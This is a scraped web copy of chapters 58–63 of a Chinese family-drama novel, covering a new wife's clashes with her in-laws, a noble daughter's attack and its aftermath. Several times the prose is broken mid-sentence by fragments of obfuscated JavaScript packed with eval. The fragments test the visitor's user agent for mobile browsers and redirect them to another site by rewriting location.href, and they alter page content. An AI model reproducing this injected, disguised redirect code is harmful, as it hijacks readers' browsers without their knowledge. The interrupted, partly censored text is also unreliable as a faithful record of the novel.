曹武只是拔高了一点儿声音,王氏直接吼起来,似乎从气势上压倒曹武,就能证明她是对的。 曹武满眼失望,不再劝说,转身就要出门自己去接曹文,然而刚踏出两步就听到王氏大吼:“你要是敢把你弟弟接回来,我就去撞死在你爹坟前!“” 曹武浑身一震,到底没能踏出家门,回到自己屋里抱着儿子大哭了一场。 王氏也在屋里抹眼泪,但更多的是高兴。 阿武长得凶,实则最心软,阿喜嘴上虽然厉害,心也是好的。 阿喜既然把阿文带去了侯府,一定能让阿文过上锦衣玉食的贵少爷生活! 第58章 登门作客 救人消耗的体力太多,春喜又是倒头就睡,第二天醒来时,沈清渊已经去了署衙。 春喜迅速起身穿衣洗漱,觉得自己嫁人以后真的有些得意忘形了。 她怎么能只顾自己睡觉,不管大人呢? 洗漱完毕,春喜准备去厨房找点儿吃食,一开门就看到贾嬷嬷站在院中,旁边还站着个望眼欲穿的曹文。 “别家的新妇都要晨昏定省,像少夫人这样睡到日上三竿才起的在全瀚京也是独一份儿。” 贾嬷嬷一开口就夹枪带棒,春喜伸了个懒腰,反问:“我不小心睡过头了,嬷嬷怎么不早点儿叫我?” 贾嬷嬷一噎。 她倒是想叫春喜起床,但她带着曹文来时,正好碰到沈清渊,沈清渊说昨夜春喜累着了,需要多休息。 沈清渊虽然不怎么管府里的事,但他的话,贾嬷嬷不敢不听。 贾嬷嬷不想让春喜知道沈清渊对她挺好的,转移话题道:“小少爷要去书院读书,但今日二少爷和三少爷要回家,府里马车不够用,少夫人还是自己想办法送小少爷去书院吧。” “好啊。” 春喜带着曹文出门,先在街边买了一屉热乎乎的肉包子吃。 曹文昨晚没怎么睡,眼底一片青黑,这会儿也没心思吃包子,跟着春喜走了好一会儿小声提醒:“阿姐,我迟到了。” “哦。” 春喜淡淡应了一声,见路边还有买肉夹馍的,又买了个肉夹馍,全然不在意曹文迟到会有什么后果。 曹文皱了皱眉,忍不住说:“阿姐,我们租辆车吧,这样能快点儿到书院。” “反正已经迟到了,快点儿慢点儿有什么区别,正好阿姐带你认认路,阿姐还有自己的事要做,以后这路你得自己走。” 曹文抓紧手里的包子,脚下步子不由得一停。 之前青松学堂离家不远,他都是自己走路去上学,后来去了青峰书院,距离远些,娘就多给了他一些钱,让他每天搭车去书院。 娘说侯府比家里有钱多了,只要他跟着阿姐进了侯府,不仅每天都有免费的马车坐,阿姐还会安排书童陪他上学,以后再也不会有人敢欺负他了。 可现在的情况跟娘说的完全不一样。 没有书童没有马车,阿姐甚至忙得没有时间管他。 春喜一路走走逛逛,根本没有发现曹文停了下来。 曹文有种被所有人遗弃的错觉,他心底一慌,小跑上去抓住春喜的袖子说:“阿姐,我想回家。” 春喜停下来看着他:“你说什么?” 曹文的脸一下子烫起来。 他是娘哭着闹着硬塞给阿姐的,阿姐带着他回侯府还被侯夫人身边的贾嬷嬷训斥了一番,他才住了一夜就要回家实在是太任性了。 可在侯府他不能跟阿姐住在一起,还要被贾嬷嬷使唤着干活,甚至连去学堂都要自己走着去。 这样的生活比家里还要难。 至少在家里,娘从来不让他干活,有什么好吃的也都会留给他。 一番纠结犹豫后,曹文还是开口:“阿姐,我想回家。” 这一次,他的声音大了些,勇敢地为自己争取。 他本以为阿姐会温柔地问他是不是在侯府受了委屈不适应,然后再决定要不要送他回家,谁知只得到冰凉的两个字:“不行。” “为什么?” 曹文有些急了。 娘之前说过,要是他在侯府过得不开心,随时都可以回家,他一直以为自己是有退路的。 春喜又咬了口肉夹馍,冷淡道:“人都是要为自己的选择负责的,你选择跟我回侯府住,那就只能住在侯府,不能回家。” “侯府一点儿都不好,阿姐也不关心我,我就要回家,我不要住在侯府!” 曹文慌乱地大吼。 之前有退路,他觉得在侯府住一住也没什么,现在春喜不让他回家,侯府顿时成了龙潭虎穴,他一刻都不想留。 春喜并不意外,颔首道:“那你自己回家跟娘说,看她让不让你回家住。” 春喜说完,曹文扭头就跑。 春喜对一直跟在他们后面的青书说:“暗中跟着就行,只要没有生命危险,不必插手。” “是,少夫人。” 青书走后,春喜溜溜达达找铺子定了砌小厨房的砖瓦和泥沙,然后就回了侯府。 她本想找贾嬷嬷先把地面清理出来,却被告知家里来客人了。 来到花园,春喜一眼便看到了坐在花丛中喝茶的萧清月。 萧清月的架势摆得很足,衬得坐在旁边讨好陪笑的莫氏和煮茶的沈清迟更像是客人。 看到春喜,萧清月眉梢微扬:“哟,回来啦。” 这话一出,春喜就知道她是冲自己来的。 春喜并不害怕,走到萧清月面前,颔首道:“月儿来啦,好些日子不见,我还有点儿想你了呢。” 春喜这声月儿叫得极顺口,语气更是熟稔,好像跟萧清月关系很好。 萧清月脸色微变,咬牙怒斥:“你叫我什么?” “月儿啊,”春喜坦坦荡荡地复述了一遍,“我和你沈叔叔已经成婚,按理你该唤我一声小婶婶,我这样叫你才显得亲昵呀。” 萧清月霍然起身:“贱人,你算什么东西,也配做我的小婶婶!” 萧清禾带着伤回娘家,虽然她一再解释是意外,但昨日的事闹得沸沸扬扬,萧清月让人一打听就知道和春喜有关。 她原以为春喜嫁了人就不会再生什么事端,没想到回门这天就害得姐姐受伤回家,她今日来侯府,是要替姐姐报仇的。 “月儿,你可是名门贵女,怎么能说出如此粗鄙的话呢,也太不雅了。” 春喜不赞同地摇摇头,萧清月听不得她对自己说教,冷声喝道:“来人,摁住她掌嘴,再废掉她一只手!” 萧清月特意带了几个孔武有力的粗使婆子来,一声令下,几个婆子立刻摩拳擦掌地朝春喜走来,而莫氏只是坐在旁边看戏,一言不发。 春喜哪里会让莫氏看热闹,猴子一般跳到莫氏身后,抓住莫氏的肩膀就把她拎起来当人肉盾牌,嘴里喊的却是:“好月儿,你对婶婶定然是有什么误会,咱们坐下来慢慢说,可千万不要冲动啊。” 萧清月怒火中烧:“来人,快给我撕烂她的嘴!” 春喜很会躲,那些婆子没有伤到她分毫,反而打掉了莫氏头上的步摇,扯坏了她的衣裳,甚至挠花了她的脸。 莫氏:“……” 萧家这些下人都是干什么吃的,就不知道看准点儿吗? 第59章 好孩子,你受委屈了 沈清渊赶回家时混战已经结束了。 莫氏重新梳洗了一番但被挠花的脸和哭得红肿的眼根本遮掩不住沈清越、沈清宇还有沈清迟都围在她身边。 萧清月垂着脑袋坐在旁边华贵的衣裙破了一角她身后的粗使婆子更是个个头发蓬乱如同战败的斗鸡被啄了满地的**。 沈清渊扫了一圈才在角落里看到和贾嬷嬷站在一起的春喜。 春喜的脑袋同样低垂着瞧不出受没受伤。 沈清渊眉心微拧越过众人径直来到春喜面前:“伤到哪儿了?” 问着话沈清渊已抓起春喜的手一眼就看到她左手手背上多了一条细长的血痕应该是被指甲挠的。 不过伤口不深血早就凝住。 沈清渊面色一沉看向萧清月:“谁伤的她?” 沈清渊每次去萧家都冷着一张脸萧清月其实有点怕他这会儿见他动了怒语气带着质问更是害怕委委屈屈地说:“沈叔叔她也动手打我了我身上都是掐痕不信你可以让丫鬟查看。” 莫氏没有要护着春喜的意思萧清月本以为自己带着这么多个粗使婆子定能把春喜治得服服帖帖谁知春喜竟然把莫氏当肉盾还趁乱抓着她一顿狠掐。 她表面上看着没事实则现在腰和胳膊都痛得不行! 萧清月说完也想哭沈清渊却没有半点儿动容语气沉沉地反问:“你都带人打上侯府了难道还不许侯府的人还手?” 这事萧清月确实不占理她低着头不说话了。 沈清渊又看向莫氏:“母亲好歹做了多年的侯门主母怎会眼睁睁地让人打到家里来府里的人都是干什么吃的?” 这话一出贾嬷嬷和一众丫鬟婆子跪了一地。 莫氏亦是有口难言。 她总不能说她是想看热闹所以故意让萧清月进来找新儿媳的麻烦结果被新儿媳当成肉盾祸祸了吧。 春喜跟萧家人动手的时候 这要是宣扬出去得个恶婆婆的名声不算什么关键是丢人啊。 哪有当家主母被新过门的小媳妇收拾的? 莫氏用手揉着额头不敢应声倒是沈清宇站出来:“不管怎么说大嫂也不该跟萧二小姐动手啊大哥你是没看到我和二哥回来的时候大嫂屁股底下坐着一个人脚下踩着两个两只手还一手揪着一个简直就是个要**的母夜叉!” 萧清月和她身后的婆子连连点头。 就是就是,虽然是她们主动来侯府找麻烦的,但挨揍的也是她们啊! 听到春喜的剽悍战绩,沈清渊的神情并无变化,只问沈清宇:“她打侯府的人还是打母亲了?” “她敢!” 沈清宇脸色一变,显出凶恶。 大嫂要是敢动母亲一根头发,他和二哥绝饶不了她。 沈清渊颔首,又问:“那母亲脸上的伤是谁打的?” 沈清宇表情一僵,语气生硬地辩解:“那是因为大嫂躲在母亲身后,母亲才会被萧家的婆子误伤。” 春喜身份低微,沈清宇根本没有把她当大嫂看待,更不会承认春喜是为了保护母亲才跟萧家的人动手的。 而且他跟着母亲去过萧家几次,在他的印象中,萧二小姐高贵又温柔,绝不是无理取闹的人。 肯定是大嫂做了什么惹怒了她,她才会找上门来。 大嫂不认错服软,还把事情闹得这样大,以后家里哪里还有宁日? “萧家的下人不瞎也不疯,明知道站在她们面前的是我侯府主母还敢动手,三弟管这叫误伤?” 沈清渊的语气冷了些,沈清宇理不直气却壮:“反正这件事都是大嫂的错,如果大嫂不往母亲身后躲,事情也不会闹成这样,大哥若是非要偏袒大嫂,我就……” 说到这里,沈清宇卡住。 他本来是想放放狠话的,但他尚未考取功名,吃的用的都是靠的家里,甚至靠的是自家大哥亲生母亲的嫁妆。 母亲前些日子就写信给他们,让他和二哥想想办法,修补一下和大哥的关系,让大哥把那些嫁妆还给母亲保管。 所以,他们这次回来是要讨好大哥的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578719|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧清月本来孤立无援,沈清宇开口后,她便两眼放光的盯着沈清宇,沈清宇感觉脸皮有点儿烧。 他怎么能当着萧二小姐的面认怂呢,那也太丢人了。 飞快地思索一番,沈清宇大声道:“大哥若是非要偏袒大嫂,我就把这件事写进文章里,让大家都看看大哥是怎样的是非不分!” 他跟云氏族学那些同窗关系很好,只要稍加润色,那些同窗肯定会跟他一起对大哥口诛笔伐。 沈清宇觉得自己想到了很好的办法,而且还能展示自己的才学,然而沈清渊神情淡淡,毫无害怕之意,反倒是莫氏和萧清月同时开口:“不行!” 这种后宅家丑怎可写到文章里让外人批判?越儿和宇儿的文章应该放在江山社稷之上才是。 莫氏皱紧眉头,萧清月更觉得沈清宇是假意装好人,实则和春喜是一伙的。 她带人打上侯府本就不占理,要是宣扬出去,落了个泼辣刁蛮的名声,日后还怎么议亲? 看出沈清渊是铁了心要护着春喜,萧清月本想道歉了事,这时下人却来通传:“夫人,萧夫人来了。” 莫氏噌的一下站起来,萧清月则揪紧绢帕,惴惴不安,她身后的粗使婆子更是一个个恨不得找个地洞钻进去。 “澜依,你怎么来了?” 莫氏还没走出大厅,萧夫人就走了进来,莫氏立刻挤出讨好的笑,嘴里还唤着萧夫人的小字。 萧夫人没给莫氏好脸色,扫了萧清月和那些婆子一眼,沉沉道:“月儿被我娇惯坏了,一时冲动才会来侯府生事,夫人身为侯府主母,又是长辈,应该好好劝诫她才是,就算劝不住,也该及时派人通知我,怎能拿月儿做筏子帮你欺负人呢?” 萧夫人直接戳穿莫氏的心思,莫氏面上讪讪,想要解释,萧夫人却根本不听,径直走到春喜面前,亲昵地抓起春喜的手:“好孩子,你受委屈了。” 众人:“……” 萧夫人,你可能不了解情况,在场的谁都有可能受委屈,就你拉着手那个,绝不可能! 第60章 萧夫人来了 萧夫人是有备而来。 甫一抓住春喜的手,就将一只透绿水亮的翡翠镯子套在春喜手上,而后又让人抬进来满满当当两个大箱子。 一箱是赔礼,一箱则是她这个做“表嫂的给弟妹的新婚贺礼。 两箱东西都是从萧夫人的嫁妆里拿的,全是好东西,比莫氏这些年偷拿萧氏的嫁妆给自己置办的行头好多了。 莫氏看得眼红。 这些年她对萧夫人多有讨好,但萧夫人从未给过她和沈清迟任何东西,一样都没有! 春喜也没想到萧夫人出手如此阔绰,她毕竟趁乱狠掐了萧清月好几下,有些心虚:“夫人,这些东西也太贵重了,我不能要。 “给你的都是你应得的,安心拿着。 萧夫人拍拍春喜的手,见她手背上有条血痕,当即命人回府取能祛疤的玉蓉膏来,而后冷眼看向萧清月身后的婆子:“是谁动手伤的沈少夫人? 众人低着头装鹌鹑,当时情况太混乱,她们光顾着挨揍,委实记不清楚这小小的抓痕是怎么来的。 “既然都不肯说,那就给我打!萧夫人语气里带了杀伐之意,而后看向莫氏,“这事毕竟是在侯府发生的,还请夫人借我几个人手惩治刁奴。 萧夫人嘴上虽然说着请,语气却是不容拒绝的强硬,莫氏不敢有意见,连忙让管事的搬来长凳,押着萧家的粗使婆子打板子。 萧夫人亲自监督,侯府的人不敢收着力,一板子下去,这些人顿时被打得哀嚎求饶。 萧清月没想到萧夫人会如此给春喜撑腰,脸红了又白,急急道:“娘,都是女儿的错,求您饶了她们吧。 “你错在哪儿了? “女儿不该任性带人来侯府**。 “还有呢? 萧夫人面色冷寒,没有半点儿要给萧清月留面子的意思。 萧清月从未在外人面前如此丢脸,眼底蓄满了泪,她看了春喜一眼,咬了咬唇说:“女儿不该目无尊长,对小婶婶不敬。 萧夫人绷着脸没应声,片刻后,萧清月走到春喜面前:“小婶婶,对不起,月儿错了,请小婶婶原谅月儿。 这感觉实在**,萧清月说完就忍不住落下泪来,她不想让春喜看笑话,连忙用手擦掉,眼泪却越擦越多。 萧清月长得和萧清禾有三分像,哭起来时梨花带雨,一点儿也看不出不久之前叫嚣着要废掉春喜一只手。 春喜递了帕子给她,轻快道:“没事没事,都是小事,谈不上原谅。 反正萧家的婆子打的都是莫氏,而且萧夫人还给了这么多好东西做赔礼,春喜一点儿也不觉得萧清月刁蛮任性,反而觉得她像是送财小仙女。 上上次是叶二的金元宝,上次是太子殿下的三百金和贴身玉佩,这次是萧夫人的两箱陪嫁,下次呢,会是什么? 这般想着,春喜看萧清月的眼神不觉带了期待,落在萧清月眼中变成挑衅。 萧清月忍不住瞪了春喜一眼,却被萧夫人捕捉到,萧夫人沉沉开口:“怎么,还不服?” 萧清月连忙低下头去:“女儿不敢。” 自己家的人罚完了,萧夫人看向莫氏:“出了这样的闹剧,夫人怎么说?” 萧夫人已经看出莫氏想拿萧清月当枪使,这会儿被萧夫人问起,莫氏不敢再打马虎眼儿,当即罚了主院一众下人两个月的月钱,连门房和管事也被牵连罚了半个月的月钱。 等莫氏处置完,萧夫人看向沈清渊:“渊儿这次成婚委实太低调,好多人都不知道你娶了新夫人,再过几日禾儿会在卫家给泽儿操持擢升宴,到时你带着弟妹来赴宴,我亲自把她介绍给那些世家夫人,像今日这样的事就不会再发生了。” 萧夫人一直都是世家宗妇的典范,便是在皇室贵族面前也都说得上话,她愿意亲自把春喜介绍给所有人认识,那就代表萧家是看重春喜的。 这可比那两箱礼物贵重多了。 沈清渊颔首应下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578720|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萧夫人这才带着萧清月离开。 上了马车,萧清月还是委屈得想哭,萧夫人横了她一眼:“你还好意思哭,这些年我是如何教你的?” “娘你根本不知道情况,那个曹春喜可厉害了,我的人根本没有伤到她,她还掐我!” 萧清月说着就要撩起裙子给萧夫人看伤,萧夫人冷声打断:“带着这么几个人跑到别人家**,你不挨揍谁挨揍?” 萧夫人完全不心疼,萧清月哭出声来:“娘向来就是如此,只知道讲道理顾全大局,所以阿姐才会如此委曲求全,回门那日阿姐的手都伤成什么样了,却还要笑着说没事,娘难道就一点儿都不心疼阿姐?” 这话戳中了萧夫人的心。 萧夫人眉心微皱,两个女儿都是她十月怀胎生下来的,又是如此的漂亮懂事,她如何能不心疼? 正是因为心疼,当初卫凌泽重伤瘫痪,萧夫人宁可与萧父和离也要与卫家退婚,是萧清禾跪在地上,用性命要挟逼得她只延迟婚期,不曾退婚。 过去三年,萧夫人曾无数次劝萧清禾放弃卫凌泽,另择夫婿,萧清禾却一个字都没有听进去。 萧夫人缓了脸色,帮萧清月擦掉眼泪:“娘当然心疼你阿姐,可这条路是她自己非要选的,怨不得别人。” “怎么怨不得别人,要不是曹春喜不安分,姐夫怎么会……” “月儿!”萧夫人厉声喝止,表情又变得严肃,“就算没有她,也会有其他人去照顾你姐夫,从萧家推迟婚期开始,你姐夫和你阿姐就回不到从前了,你也知道你祖母有多疼爱沈清渊,以后对你小婶婶尊敬些。” 萧清月有些不服,张了张嘴,却又说不出一句反驳的话。 萧家的人一走,前厅顿时变得有些空。 今天的打不能白挨,莫氏正琢磨着该怎么让春喜把这两箱东西交出来,就听到沈清渊清清冷冷的声音:“既然母亲和三弟并未把我们当一家人,那就分家吧!” 莫氏:“……” 第61章 大人为什么生气? “母亲不是已经罚了府里的下人了吗,大哥为什么突然想分家?” 沈清宇从震惊中回过神来,满脸的不赞同。 他从小就知道沈清渊不是他的亲大哥,也知道母亲一直在想办法让二哥继承父亲的爵位,可萧氏留下的嫁妆只有大哥有权力继承,若是分了家,那些财物和侯府就没有半点儿关系了。 日后他和二哥考上功名,需要打点的地方还多着呢。 莫氏心里也很慌张。 之前沈清渊问她要萧氏的嫁妆时就提过要分家,她以为把东西给了沈清渊,他就不会再有这样的念头,没想到今日为了春喜,沈清渊又提了起来。 头两个进了门也没见他这样护着啊,难道是因为春喜对他有救命之恩? 可这恩不是用婚事抵了吗,他不该很讨厌这个挟恩以报的女人吗? 莫氏想不明白,但为了安抚沈清渊,还是沉着脸命令:“宇儿,跟你大嫂道歉!” 什么大嫂啊,全瀚京的人都知道她之前是卫家的奴才。 沈清宇梗着脖子叫不出口。 莫氏正要劝说,一直安静站在一旁的沈清越忽地抬手给了沈清宇一巴掌:“母亲让三弟道歉,三弟这是连母亲的话都不听了吗?” 沈清越的长相承袭了莫氏的优点,一双桃花眼总是温和含笑,给人一种温润如玉的感觉。 但他出手很重,沈清宇被他打偏了头,脸上很快浮起清晰的巴掌印,一直低着头的沈清迟被吓得浑身一颤。 沈清宇似乎很怕这个二哥,被打了一巴掌后,不仅不生气,反而一改狂傲,恭恭敬敬地向春喜认错:“大嫂,对不起,我刚刚不该对您不敬。” 等他说完,沈清越复又开口:“其实大哥能再成婚我们都很替他高兴,还一起给大嫂准备了见面礼呢。” 说着话,沈清越从袖中拿出一个信封递给春喜。 春喜下意识地看向沈清渊,见他并没有反对的意思,这才接过信封,打开一看,里面竟然装着两张契书,正是之前沈清渊帮她找的另外两家铺子。 这两家铺子差不多值一千两,虽不及萧夫人送来的两箱东西值钱,却是送到了春喜心坎儿上。 她不爱脂粉首饰,就爱攒铺子赚钱。 这位二公子天天在云氏族学念书,鲜少回家,却对他大哥的情况如此了解,委实不简单啊。 春喜心生警惕,面上却是一脸感动:“二弟真是太客气了,我娘家都没给我准备嫁妆,我也没什么能拿得出手的见面礼,哪好意思收这 两间铺子。” 春喜说着作势要把信封还给沈清越,刚递出去一点儿,就听到沈清越说:“我们知道大嫂家境不好,送这两间铺子只是想告诉大嫂,侯府以后就是大嫂的家,我们就是大嫂的家人,我们绝不会因为家境而对大嫂不敬,大嫂收下吧。” 沈清越这番话说得漂亮,春喜很爽快地把信封收回袖中:“二弟说的是,以后咱们就是一家人了,我也会包容三弟的脾气,不会跟他一般见识的。” 春喜说完挽住沈清渊的胳膊:“我觉得家里挺好的,还是别分家了吧,大人。” 在春喜的“劝说”之下,沈清渊打消了分家的念头,让人抬着两大箱子东西回了问心院。 两人一走,莫氏立刻屏退下人,心疼地去看沈清宇的脸:“宇儿,你没事吧?脸还疼吗?” 两个儿子一直都是莫氏的心肝宝贝,沈清越这一巴掌比让莫氏割肉还难受,她扭头就要训斥沈清越,对上沈清越含笑的眸,顿时心虚。 “我早就与母亲说过,大哥是父亲的嫡长子,身上又流着萧家的血脉,即便不是母亲亲生,母亲也该待他视如己出,之前两位嫂嫂死后,大哥一直清心寡欲,如今愿意再娶,定然是十分爱重新嫂嫂的,母亲怎能让人跑到侯府来欺负新嫂嫂?” 沈清越的语气温和,一点儿也不凶,但莫氏莫名的觉得这个儿子在骂她蠢。 她忍不住小声辩解:“她可一点儿没受欺负,都是我在替她挨打。” “所以呢,娘觉得自己做得对?” 沈清越笑着发问,莫氏讪讪,不敢再应声。 见莫氏知错,沈清越这才开口:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578721|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧夫人过几日要亲自把大嫂介绍给其他世家夫人,这对侯府来说也是好事,我和三弟是男子,不便和大嫂走得太近,妹妹这些时日可以多去找大嫂说说话,若是日后萧二小姐再来找大嫂,妹妹也可在其中帮忙周旋一二。” “大嫂就是个泼妇,二哥让妹妹跟在大嫂身边,也不怕妹妹被人笑话?” “笑话?”沈清越挑眉,似笑非笑,“今日府里闹成这样,三弟觉得有人敢笑话大嫂吗?” 没有。 萧夫人亲自撑腰,萧家的婆子受了罚,侯府的下人也没有幸免,别说下人不敢笑话春喜,就连他们三兄妹日后也得恭恭敬敬。 他们这位大嫂,可不是任人欺负的主。 春喜和沈清渊刚回到问心院,萧家的人便送来了玉蓉膏。 沈清渊当即打开盒子要给春喜抹药,春喜连忙制止:“听说这玉蓉膏是宫中御医秘制,小小一盒就值上千两,我这点儿小伤用这个不是暴殄天物吗?” 沈清渊扫了眼春喜抓着自己的手,沉沉命令:“放手!” 虽然相处的时间没有特别长,但春喜还是敏锐地察觉沈清渊不高兴了。 春喜乖乖松手,想了想说:“我知道大人和二公子他们的关系不是很好,但这两间铺子是他们白送的诶,侯夫人不是挪用了很多**嫁妆吗,大人总不能因为置气便宜了他们吧。” “我没有说你不该收那两间铺子。” “那大人为什么生气?” 春喜十分不解,沈清渊擦好药,合上盖子,然后才道:“今天出事你为什么不第一时间派人通知我?万一萧清月带的不是粗使婆子,而是萧府的护卫,你那点儿三脚猫的功夫还能反抗得了吗?” 沈清渊的表情严肃,说到最后几乎是在吼。 春喜眨眨眼,恍然大悟:“原来大人你生气是因为担心我啊,今天确实是我考虑不周,下次再遇到这种情况,我一定第一时间来署衙找你庇护,行吗?” 沈清渊脸上的表情险些绷不住,他握了握拳,淡淡应声:“嗯。” 她知道他是在关心,而不是凶她。 第62章 问心院不养闲人 傍晚,春喜定的砖瓦泥沙都送来了。 沈清渊看着她忙前忙后地清点数量,忍不住问:“你打算自己砌?” 春喜毫不犹豫:“不只我,还有贾嬷嬷一起呢。” 光是整理库房贾嬷嬷就累得在床上躺了一整天,这厨房要是修起来,贾嬷嬷还能有命吗? 沈清渊有点想笑,但更多的是好奇:“你什么时候还学过泥瓦匠?” 这可不像是姑娘家该干的活。 春喜弯眸:“我家附近的房子有好多都是隔壁李叔砌的,我爹不在家,我没事干总是跟在李叔屁股后面转,没少帮李叔搬砖递瓦,看得多了自然学了些东西,修大房子不行,砌个小厨房还是没问题的。” 春喜干劲儿满满的样子让沈清渊心底升起一股奇异的感觉。 萧氏郁郁寡欢,并不亲近他,临死之前才把所有的真相告诉他。 清远侯并非他的生父,莫氏更是视他如眼中钉肉中刺,他不属于侯府,却也回不去萧家,这些年他一直觉得自己是没有根的浮萍。 所以不管是莫氏挪用萧氏的嫁妆,还是从中作梗让他背上克妻的名声他都始终不怨不怒。 可现在春喜要亲手在侯府砌一个小厨房,他像是枯木逢春,生出了根来。 春喜动作麻利,很快清点好,结了货款。 刚送走送货的人,曹文便耷拉着脑袋回来了。 他应该是狠狠哭过,眼睛又红又肿,时不时小肩膀还抽动一下,瞧着怪可怜的。 春喜一点儿也不心疼,甚至笑出了声:“怎么回来了,娘不要你了?” 这话一出,曹文又落下泪来。 他跑了好远才跑回家,他跟娘说阿姐在侯府过得并没有娘说的那么好,侯府的贾嬷嬷很凶,阿姐也很忙,他每天还要自己从侯府走路去书院,比在家里还要辛苦。 娘却一点儿都不信,说阿姐这是故意考验他的,只要他坚持一段时间,就能过上侯府少爷的生活。 他说自己只想在家里,不想过贵少爷的生活,娘却指着他的鼻子狠狠骂了他一顿,还把他赶出了家门。 他在门外哭了好久好久,娘都不肯开门看他一眼。 没办法,他只能回来找阿姐。 春喜没有要安慰曹文的意思,提步便要去厨房点菜。 今天打架怪累的,得好好补补明天才有力气干活。 刚走出两步,曹文追上来,眼泪汪汪地看着她:“阿姐,你能不能帮我跟娘说让我回家?” “你为什 么非要回家?” 春喜停下来,曹文抿了抿唇说:“贾嬷嬷很凶,我一个人住那屋子很害怕,而且这里离书院好远,如果走路的话我每天要走好久才能走到书院。” “所以你想跟我住一起,让我安排马车甚至是书童每天送你去书院,对吗?” 春喜的语气温和,曹文眼底不觉露出两分期盼,下一刻却被泼了一盆冷水:“我在侯府都是要伏低做小干活的,你一个寄人篱下的外人还想当阔少爷,哪儿来这么大的脸?” 春喜这话说得直白,曹文的脸一下子涨得通红,羞窘难堪。 他拼命思索着想要分辨两句,又听到自家阿姐说:“你嫌书院太远,可以不去念书,但也不能在侯府吃白食,以后这个院子里,端茶倒水、洒扫擦地都是你的活。” 春喜说到做到,立刻寻了抹布让曹文把屋里的摆件都擦干净。 曹文:“……” 他可能不是阿姐的亲弟弟吧。 给曹文安排了活,春喜立刻去了厨房。 她一走,沈清渊就把青书叫到书房:“你今天去哪儿了?” “小少爷闹着要回家,少夫人不放心,让我暗中跟着小少爷,”见沈清渊的表情有些严肃,青书又问,“少夫人遇到什么事了吗?” “今天萧清月带人打上门了。” “啊???” 萧二小姐带人打上侯府了?打谁?少夫人? 青书的脑子飞速运转,最终问出一句:“少夫人没把萧二小姐打成重伤吧?” 少夫人可是临危不惧连马车都敢跳的人,萧二小姐这样的娇小姐哪是她的对手? 沈清渊默了默,吩咐青书:“你明日去雇十个身手高强的护院回来。” “……大人是要让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“先把这一片的草除干净,然后提水来把这些砖打湿浸透,在我和贾嬷嬷把地基挖好之前,按照我跟你说的比例把灰浆调好,明白吗?” 春喜细细交代一番,曹文就苦着一张脸去干活了。 贾嬷嬷忍不住问:“小少爷这个时候不是应该去书院念书吗?” 春喜一铁锹狠狠**土里,面无表情地吐出一句:“问心院不养闲人,” 贾嬷嬷:“……” 她要是不跟着一起干,少夫人手里的铁锹会不会抡到她这个闲人身上? 第63章 擢升宴 春喜砌小厨房砌得热火朝天。 沈清渊每日从署衙回来,春喜都已经收工,但小厨房的进度肉眼可见。 不过七八日,小厨房的墙体就全部砌好。 春喜没有撒谎,她虽然是第一次盖房子,这墙却砌得稳稳当当,看着就很结实。 只是她不肯用青书雇来的护院,只让贾嬷嬷和曹文帮忙打下手,短短几日,一老一小累得看到春喜就腿软。 一眨眼,便到了去卫家参加卫凌泽擢升宴这日。 这是卫凌泽痊愈后的第一次升迁,也是萧清禾嫁入卫家操办的第一次宴席,声势很大,瀚京大半的官员家眷都收到邀请。 莫氏对这次宴席也极为看重,一大早,就让沈清迟带着丫鬟来为春喜梳妆打扮。 “嫂嫂的眼睛漂亮,稍微修一下眉就很好看,大哥今日穿的是藏青色绣柏叶纹锦衣,嫂嫂这身淡青色绣荷花衣裙与大哥正相配。 这几日沈清迟也有来观摩春喜砌厨房,每次来都会带一些零嘴,春喜对她的印象很好,两人很快熟络起来。 沈清迟的审美很好,让丫鬟给春喜弄的妆发并不过分华贵,只尽量放大春喜的优点,虽然不会让人惊艳,却也清丽明媚,比春喜成婚那日自己鼓捣的妆容要好看多了。 春喜对着镜子越看越满意,夸完沈清迟眼光好,又给沈清迟的丫鬟拿了赏银。 等一切收拾妥当,春喜立刻走出房间来到沈清渊面前:“我从来没有像今天这样好看过,大人觉得如何? 春喜说着转了一圈。 淡青色裙摆在空中划出优美的弧度,像是大大展开的荷叶,裙摆上绣的荷花都活了过来。 沈清渊颔首夸赞:“好看。 准备好,三人一起出发。 莫氏和沈清越、沈清宇已经先一步来到府门口,远远地扫了一眼,见春喜低眉顺眼地跟在沈清渊旁边还挺像那么回事,心里发出冷笑。 还挺会装。 等三人走到眼前,莫氏端着架子叮嘱春喜:“今日到卫家赴宴的都是有头有脸的贵人,你最好一直像现在这样安安静静不要说话,要是闹出什么笑话,我可饶不了你! 